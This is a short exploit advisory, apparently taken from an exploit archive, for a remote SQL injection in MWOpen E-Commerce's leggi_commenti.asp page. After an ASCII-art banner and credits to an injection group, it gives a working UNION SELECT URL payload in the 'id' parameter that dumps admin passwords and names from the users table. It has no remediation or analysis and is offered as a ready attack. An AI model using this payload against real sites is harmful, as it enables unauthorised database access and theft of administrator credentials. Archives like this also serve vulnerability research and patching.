MWOpen E-Commerce leggi_commenti.asp Remote SQL Injection

--------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ _____/ |_ /_ |/ |_ | |/ | | _(__ <_/ ___ __ ______ | __ | | | | |/ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| /\______| / / --------------------------------------------------------------- Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org --------------------------------------------------------------- MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection --------------------------------------------------------------- #By KiNgOfThEwOrLd --------------------------------------------------------------- PoC: Nothing to say.. Corrupted Page: leggi_commenti.asp Corrupted Variabile: ?id= Exploit: http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null, null,password,nome,null,data,null+from+utenti+where+Admin=true --------------------------------------------------------------- # sebug.net